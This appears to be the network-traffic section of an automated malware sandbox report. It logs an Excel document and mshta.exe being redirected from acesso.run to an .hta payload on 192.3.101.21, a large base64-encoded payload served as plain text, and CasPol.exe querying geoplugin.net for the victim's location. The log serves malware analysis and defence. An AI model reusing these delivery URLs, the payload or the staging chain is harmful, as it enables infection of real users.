                                                                                                                                                                                                Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 6a 78 67 59 4d 34 46 44 64 78 41 48 41 41 41 41 6a 41 63 41 45 41 34 44 74 2b 41 71 50 59 36 44 68 2b 77 6e 50 30 35 44 62 2b 67 6d 50 67 35 44 54 2b 51 6b 50 77 34 44 4b 2b 41 69 50 59 34 44 46 2b 41 68 50 4d 34 44 43 2b 41 51 50 38 33 44 39 39 41 65 50 59 33 44 78 39 77 62 50 30 32 44 72 39 67 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGDjxgYM4FDdxAHAAAAjAcAEA4Dt+AqPY6Dh+wnP05Db+gmPg5DT+QkPw4DK+AiPY4DF+AhPM4DC+AQP83D99AePY3Dx9wbP02Dr9gYPA2De9QXPY1DO9QTPYwD+8gNP4yDm8gHPYxDO8gxO4vD27g7OYuDe7g1O4sDG6gvOYrDu6gpO4pDW6gjO0oDG5gfOYnDu5gZO8lDe5AXOQlDM5ABOwjD04ALOQiDc4AFOwgDF4gwNofDy3g6NIeDa3g0NocDC2QvNsbD62AuNYbD02wsNgaDm2woNoZDW2QlN4YDN2whNYYDE1QfNwXD61AZNEWDZ1gVNQVDP1QTNwUDL1QSNcUDF1AAN4TD90APNoTD40gNNETDv0gKNgSDn0gJNQSDi0AINsRDZ0AGNYRDU0gENERDK0QCNMMD/zg8MAPDtzQ6MwNDazw1MMNDGzAxMEID9yAsM4KDrywpMoJDYyQlMEJDEygQM8HD7xgbMwGDpxQZMgFDWxwUM8EDCxAAM0DD7wQOMwCDqwwJMUCDjwgFMQBDRwwDM0ADAAAQAQCgBgDwP4/D7/w9Po+Do/Q5PE+DU/g0P88DL/wxPI4Dx+wrPw6Do+ApP85DO+AjPk4DF9AePYnDi5AXOolDZ5AWOQlDT5wTOkkDH5gROUkDE5wQOIgD+4QPOkjDz4QMOAjDv4
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280165911 CET1236INData Raw: 67 4c 4f 30 69 44 73 34 41 4b 4f 63 69 44 6a 34 51 48 4f 73 68 44 61 34 51 47 4f 67 68 44 58 34 77 45 4f 49 68 44 4f 34 41 43 4f 59 67 44 46 34 41 42 4f 4d 67 44 43 33 67 2f 4e 30 66 44 35 33 77 38 4e 45 66 44 77 33 77 37 4e 73 65 44 71 33 67 35
                                                                                                                                                                                                Data Ascii: gLO0iDs4AKOciDj4QHOshDa4QGOghDX4wEOIhDO4ACOYgDF4ABOMgDC3g/N0fD53w8NEfDw3w7NseDq3g5NUeDh3w2NkdDY3A1N4cDM3wyNocDJ3QhN8bD+2AuNYbD12AtNMbDy2grN0aDp2woNEaDg2AnNsZDX2QkN8YDO2QjNkYDI2ARN4XD81weNoXD51QdNQXDw1gaNgWDn1gZNUWDh1AYNwVDW1AVNMVDS1gTN0UDJ1wQN
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280184984 CET1236INData Raw: 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44
                                                                                                                                                                                                Data Ascii: xDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280214071 CET1236INData Raw: 77 78 4f 59 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 6b 53 44 6f 30 77 4a 4e 59 53 44 6c 30 41 4a 4e 4d 53 44 69 30 51 49 4e 41 53 44 66 30 67 48 4e 30 52 44 63 30 77 47 4e 6f 52 44 59 30 77 46 4e 59 52 44 56 30 41 46 4e 4d 52 44 52 30 67 44
                                                                                                                                                                                                Data Ascii: wxOYAAAAAOAFAOAAAANkSDo0wJNYSDl0AJNMSDi0QINASDf0gHN0RDc0wGNoRDY0wFNYRDV0AFNMRDR0gDN0QDM0wCNoQDJ0ACNcQDF0ABNMQDC0QANAMD/zg/MwPD6AAAAcBQBQDgO8rD+6QvOwrD76guOkrD46wtOYrD16AtOMrDy6QsOArDv6grO0qDs6wqOoqDp6AqOcqDm6QpOQqDj6goOEqDg6wnO4pDd6AnOspDa6QmO
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280239105 CET1236INData Raw: 79 44 6e 38 51 4a 50 4d 79 44 68 38 77 48 50 30 78 44 62 38 51 47 50 63 78 44 56 38 77 45 50 45 78 44 50 38 51 44 50 73 77 44 4a 38 77 42 50 55 77 44 44 38 51 77 4f 38 76 44 39 37 77 2b 4f 6b 76 44 33 37 51 39 4f 4d 76 44 78 37 77 37 4f 30 75 44
                                                                                                                                                                                                Data Ascii: yDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl7w4OEuDf7Q3OstDZ7w1OUtDT7Q0O8sDN7wyOksDH7QxOMsDB6wvO0rD76QuOcrD16wsOErDv6QrOsqDp6wpOUqDj6QoO8pDd6wmOkpDX6QlOMpDR6wjO0oDL6QiOcoDF6wgOEkD/5QfOsnD55wdOUnDz
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280255079 CET1236INData Raw: 6f 2f 50 77 2f 6a 35 2f 77 39 50 53 2f 44 79 2f 34 37 50 79 2b 7a 70 2f 30 35 50 54 2b 54 69 2f 38 33 50 6b 39 54 53 2f 59 79 50 44 34 44 36 2b 34 74 50 55 37 6a 79 2b 41 73 50 32 36 44 72 2b 49 71 50 59 36 6a 6a 2b 51 6f 50 36 35 44 63 2b 59 6d
                                                                                                                                                                                                Data Ascii: o/Pw/j5/w9PS/Dy/47Py+zp/05PT+Ti/83Pk9TS/YyPD4D6+4tPU7jy+AsP26Dr+IqPY6jj+QoP65Dc+YmPc5jU+gkP+4TN+4gPG0z79scPP2TU9QBPYzTy8oLPHyzf7s7Ozuzq7M2O+sDH6cvOorT26QBOGjjH4IwN+dTYzU5MPOzez01MLNjRxceMzGjgxwXMVAjKwsBMPAAAAQKAFAHAAAwP//j4/o9Pw+Ta/k0P98TM/0xP
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280276060 CET1236INData Raw: 35 44 55 2b 67 52 50 41 33 44 73 39 59 61 50 5a 32 7a 6a 39 41 59 50 6d 31 7a 58 39 67 56 50 52 31 6a 48 39 6b 51 50 45 77 7a 38 38 6b 4f 50 4c 7a 7a 72 38 30 4a 50 4c 79 44 66 38 49 67 4f 35 72 6a 30 36 63 6d 4f 41 6c 7a 6d 32 49 74 4e 7a 61 54
                                                                                                                                                                                                Data Ascii: 5DU+gRPA3Ds9YaPZ2zj9AYPm1zX9gVPR1jH9kQPEwz88kOPLzzr80JPLyDf8IgO5rj06cmOAlzm2ItNzaTR1oeNJSTv0ALNoSzezU0MCIT4yktMBLTrxAeMxGTQwYPMuDjcwsGMrAAAAAHAEAOAAAwPM/zn/w1PR9DS/QiP+7j9+cpPP6zX+4UPh2DN9QBPlzT38UMP5yjc84FPksDw7U3OstzY700OBtzI7sxOQszB6EvObrDo
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280293941 CET1236INData Raw: 34 51 4f 7a 6e 6a 37 35 6b 65 4f 65 6e 6a 77 35 30 61 4f 4a 6d 44 68 35 38 58 4f 30 6c 44 57 35 51 54 4f 48 6b 6a 41 34 30 50 4f 79 6a 6a 31 34 77 4d 4f 75 69 54 71 34 51 4b 4f 5a 69 54 66 34 4d 48 4f 59 68 7a 55 34 34 45 4f 44 68 7a 4a 34 30 42
                                                                                                                                                                                                Data Ascii: 4QOznj75keOenjw50aOJmDh58XO0lDW5QTOHkjA40POyjj14wMOuiTq4QKOZiTf4MHOYhzU44EODhzJ40BOCcT/3g/NtfT03c8Nsezp3I6NXeDZ3A0N7cjN3syNOYj62YrNVaTf2gnNzZDa2YlN0YjJ2ohNLUj81scNDXDr1wZNgVDW1sTN2UTM0wNNXTTx04LN4STs0cINtRTW0EFNFRDK04xM7PT8zw9MLPTqz85MSOTiz82M
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280369043 CET248INData Raw: 58 54 77 7a 63 69 4d 6d 4c 54 78 79 45 71 4d 61 4b 54 6c 79 55 53 4d 70 42 6a 6d 41 41 41 41 41 42 41 42 41 41 77 50 6d 2f 54 34 2f 49 73 50 47 37 54 70 2b 45 6f 50 36 35 54 64 2b 67 51 50 63 77 44 37 35 41 5a 4f 47 4f 7a 42 79 41 57 4d 77 45 6a
                                                                                                                                                                                                Data Ascii: XTwzciMmLTxyEqMaKTlyUSMpBjmAAAAABABAAwPm/T4/IsPG7Tp+EoP65Td+gQPcwD75AZOGOzByAWMwEjCw0OM3AzGAAAAwAwAwDAAA8jw/gaOpljB4QLOwiDr4gKOkiDo4wJOYiDl4AJOMiDi4wWNxODVAAAAwAwAgDAAAYDj2goNEaDg2wnN4ZDd2AXNkXDb1gWNkVDY1wVNYVDV1AFNETDT0gENERDQ0wDN4QDN0AzMnODM
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280384064 CET1236INData Raw: 4d 44 4a 7a 41 79 4d 63 4d 44 47 7a 51 68 4d 2f 4a 44 43 79 51 67 4d 41 45 44 2f 78 67 66 4d 30 48 44 38 78 77 65 4d 6a 42 41 41 41 51 47 41 44 41 4e 41 41 41 77 50 50 2f 54 76 2f 73 35 50 4a 2b 54 61 2f 51 6c 50 33 30 6a 65 32 67 63 4e 4d 4e 44
                                                                                                                                                                                                Data Ascii: MDJzAyMcMDGzQhM/JDCyQgMAED/xgfM0HD8xweMjBAAAQGADANAAAwPP/Tv/s5PJ+Ta/QlP30je2gcNMND0zYiMVLDzygrMcJTUyMkM1IDKyIRM9Hj2xMcMuGjnxAZMEGDexoWMbFTQwUCAAAATAMAwAAAA+sqPr0Tl94YPf0DF8cPPHzTt8IIP1xza70HAAAAJAMAsAkjs5gaOelDV5ESOUgjZ44FOVhDG48wN1fTf3E3NMYDa
                                                                                                                                                                                                Oct 29, 2024 16:31:41.280474901 CET1236INData Raw: 67 47 50 67 78 7a 53 38 34 44 50 79 77 44 4a 37 38 66 4f 4e 6d 6a 68 35 6f 58 4f 69 68 6a 36 34 34 4e 4f 35 67 7a 4d 33 6f 39 4e 50 66 54 67 33 49 33 4e 73 64 44 5a 33 67 67 4e 67 62 7a 57 32 34 69 4e 70 59 44 46 31 38 66 4e 6a 58 54 7a 31 55 63
                                                                                                                                                                                                Data Ascii: gGPgxzS84DPywDJ78fONmjh5oXOihj644NO5gzM3o9NPfTg3I3NsdDZ3ggNgbzW24iNpYDF18fNjXTz1UcN8Wzq1wANtTD20sMN7Sjp0MFNFRDH0kwMwPT1zU8M9ODpzo3MqNjYzo0MqMjCyktMBLjoycoMqJzSy4iMpIjFywgMCED/xcfMsHD5xwdMUHTzxYcM/GDuxEbMqGzox0ZMXGTkxsYMFGjUxkUM5ETKxkRMPETBw8PM
                                                                                                                                                                                                Oct 29, 2024 16:31:41.281282902 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:31:40 GMT
                                                                                                                                                                                                Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25
                                                                                                                                                                                                Last-Modified: Tue, 29 Oct 2024 07:21:36 GMT
                                                                                                                                                                                                ETag: "a1000-625986f86b63c"
                                                                                                                                                                                                Accept-Ranges: bytes
                                                                                                                                                                                                Content-Length: 659456
                                                                                                                                                                                                Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                Content-Type: text/plain
                                                                                                                                                                                                Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 6a 78 67 59 4d 34 46 44 64 78 41 48 41 41 41 41 6a 41 63 41 45 41 34 44 74 2b 41 71 50 59 36 44 68 2b 77 6e 50 30 35 44 62 2b 67 6d 50 67 35 44 54 2b 51 6b 50 77 34 44 4b 2b 41 69 50 59 34 44 46 2b 41 68 50 4d 34 44 43 2b 41 51 50 38 33 44 39 39 41 65 50 59 33 44 78 39 77 62 50 30 32 44 72 39 67 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGDjxgYM4FDdxAHAAAAjAcAEA4Dt+AqPY6Dh+wnP05Db+gmPg5DT+QkPw4DK+AiPY4DF+AhPM4DC+AQP83D99AePY3Dx9wbP02Dr9gYPA2De9QXPY1DO9QTPYwD+8gNP4yDm8gHPYxDO8gxO4vD27g7OYuDe7g1O4sDG6gvOYrDu6gpO4pDW6gjO0oDG5gfOYnDu5gZO8lDe5AXOQlDM5ABOwjD04ALOQiDc4AFOwgDF4gwNofDy3g6NIeDa3g0NocDC2QvNsbD62AuNYbD02wsNgaDm2woNoZDW2QlN4YDN2whNYYDE1QfNwXD61AZNEWDZ1gVNQVDP1QTNwUDL1QSNcUDF1AAN4TD90APNoTD40gNNETDv0gKNgSDn0gJNQSDi0AINsRDZ0AGNYRDU0gENERDK0QCNMMD/zg8MAPDtzQ6MwNDazw1MMNDGzAxMEID9yAsM4KDrywpMoJDYyQlMEJDEygQM8HD7xgbMwGDpxQZMgFDWxwUM8EDCxAAM0DD7wQOMwCDqwwJMUCDjwgFMQBDRwwDM0ADAAAQAQCgBgDwP4/D7/w9Po+Do/Q5PE+DU/g0P88DL/wxPI4Dx+wrPw6Do+ApP85DO+AjPk4DF9AePYnDi5AXOolDZ5AWOQlDT5wTOkkDH5gROUkDE5wQOIgD+4QPOkjDz4QMOAjDv4


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                6192.168.2.2249178178.237.33.50803280C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                Oct 29, 2024 16:31:53.192702055 CET71OUTGET /json.gp HTTP/1.1
                                                                                                                                                                                                Host: geoplugin.net
                                                                                                                                                                                                Cache-Control: no-cache
                                                                                                                                                                                                Oct 29, 2024 16:31:54.063584089 CET1165INHTTP/1.1 200 OK
                                                                                                                                                                                                date: Tue, 29 Oct 2024 15:31:53 GMT
                                                                                                                                                                                                server: Apache
                                                                                                                                                                                                content-length: 957
                                                                                                                                                                                                content-type: application/json; charset=utf-8
                                                                                                                                                                                                cache-control: public, max-age=300
                                                                                                                                                                                                access-control-allow-origin: *
                                                                                                                                                                                                Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4b 69 6c 6c 65 65 6e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 54 65 78 61 73 22 2c 0a 20 20 22 67 65 6f 70 [TRUNCATED]
                                                                                                                                                                                                Data Ascii: { "geoplugin_request":"173.254.250.72", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"Killeen", "geoplugin_region":"Texas", "geoplugin_regionCode":"TX", "geoplugin_regionName":"Texas", "geoplugin_areaCode":"", "geoplugin_dmaCode":"625", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"31.0065", "geoplugin_longitude":"-97.8406", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/Chicago", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}


                                                                                                                                                                                                HTTPS Proxied Packets

                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                0192.168.2.2249163172.67.162.954433560C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                2024-10-29 15:30:34 UTC446OUTGET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Host: acesso.run
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                2024-10-29 15:30:34 UTC1063INHTTP/1.1 302 Found
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:30:34 GMT
                                                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                                Content-Length: 107
                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                                                Location: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta
                                                                                                                                                                                                Vary: Accept
                                                                                                                                                                                                cf-cache-status: DYNAMIC
                                                                                                                                                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fUwijUxGPqRf77YvXxFw0aSMzgHREmuNYmzRkIgU3gQ%2BsZYffQioMDRghTXIZfPjTPB4MQrxPzB1ndetyWAZq6mpi7UKZvrFs0PiCemSXB%2BiO0bzhCfyu1xVNFSv"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                Server: cloudflare
                                                                                                                                                                                                CF-RAY: 8da435234a726b4f-DFW
                                                                                                                                                                                                alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1818&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1028&delivery_rate=1497414&cwnd=251&unsent_bytes=0&cid=358e64a66561fc75&ts=365&x=0"
                                                                                                                                                                                                2024-10-29 15:30:34 UTC107INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 30 31 2e 32 31 2f 34 31 32 2f 42 52 2f 73 65 65 6d 79 62 65 73 74 74 68 69 6e 67 77 68 69 63 68 69 67 69 76 65 6e 74 6f 75 66 6f 72 6d 61 6b 65 62 65 73 74 61 70 70 69 6e 65 73 73 77 6f 67 69 76 65 6e 2e 68 74 61
                                                                                                                                                                                                Data Ascii: Found. Redirecting to http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                1192.168.2.2249165104.21.74.1914433824C:\Windows\System32\mshta.exe
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                2024-10-29 15:30:37 UTC470OUTGET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                Accept-Language: en-US
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Host: acesso.run
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                2024-10-29 15:30:37 UTC1073INHTTP/1.1 302 Found
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:30:37 GMT
                                                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                                Content-Length: 107
                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                                                Location: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta
                                                                                                                                                                                                Vary: Accept
                                                                                                                                                                                                cf-cache-status: DYNAMIC
                                                                                                                                                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NMvZDbwWBP8ziLGVlFN7cLYFSgEm9igJcwz7WX7St8k8na%2BtSGoOw%2F4BwEDSDD5Dojh8%2BvUOx0CjsPOzgTJ%2BFtcpycGnzBh%2F5Fti%2BnkvM%2BsVK9Aa8yRTGp9owH68"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                Server: cloudflare
                                                                                                                                                                                                CF-RAY: 8da435393fb12cde-DFW
                                                                                                                                                                                                alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                server-timing: cfL4;desc="?proto=TCP&rtt=1594&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1052&delivery_rate=1095724&cwnd=251&unsent_bytes=0&cid=56e25dcba063c9dc&ts=506&x=0"
                                                                                                                                                                                                2024-10-29 15:30:37 UTC107INData Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 32 2e 33 2e 31 30 31 2e 32 31 2f 34 31 32 2f 42 52 2f 73 65 65 6d 79 62 65 73 74 74 68 69 6e 67 77 68 69 63 68 69 67 69 76 65 6e 74 6f 75 66 6f 72 6d 61 6b 65 62 65 73 74 61 70 70 69 6e 65 73 73 77 6f 67 69 76 65 6e 2e 68 74 61
                                                                                                                                                                                                Data Ascii: Found. Redirecting to http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta


                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                2192.168.2.2249168172.67.162.954433560C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                2024-10-29 15:30:58 UTC446OUTGET /WP8tfj?&song=snotty&attendant=malicious&rent=unbiased&mandolin=reminiscent&vase=plausible&luggage=quick&membership=acoustic&clasp HTTP/1.1
                                                                                                                                                                                                Accept: */*
                                                                                                                                                                                                UA-CPU: AMD64
                                                                                                                                                                                                Accept-Encoding: gzip, deflate
                                                                                                                                                                                                User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                                                                                                                                                                Host: acesso.run
                                                                                                                                                                                                Connection: Keep-Alive
                                                                                                                                                                                                2024-10-29 15:30:59 UTC1078INHTTP/1.1 302 Found
                                                                                                                                                                                                Date: Tue, 29 Oct 2024 15:30:58 GMT
                                                                                                                                                                                                Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                                Content-Length: 107
                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                X-DNS-Prefetch-Control: off
                                                                                                                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                Strict-Transport-Security: max-age=15552000; includeSubDomains
                                                                                                                                                                                                X-Download-Options: noopen
                                                                                                                                                                                                X-Content-Type-Options: nosniff
                                                                                                                                                                                                X-XSS-Protection: 0
                                                                                                                                                                                                Location: http://192.3.101.21/412/BR/seemybestthingwhichigiventouformakebestappinesswogiven.hta
                                                                                                                                                                                                Vary: Accept
                                                                                                                                                                                                cf-cache-status: DYNAMIC
                                                                                                                                                                                                Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2vNFL2MX8PMFyQfnPm5tF8IBDQ%2Bq%2B7So5nCOCNqNIArOCuClnV%2Bq5aQ%2Be%2BTOJFYaAR0S7q%2BgPJSBR%2BBXUwEzTvN%2FlC5vuTZ0KOrE0FpG458MSynZNc%2Bi%2FZKzrcrE"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                Server: cloudflare
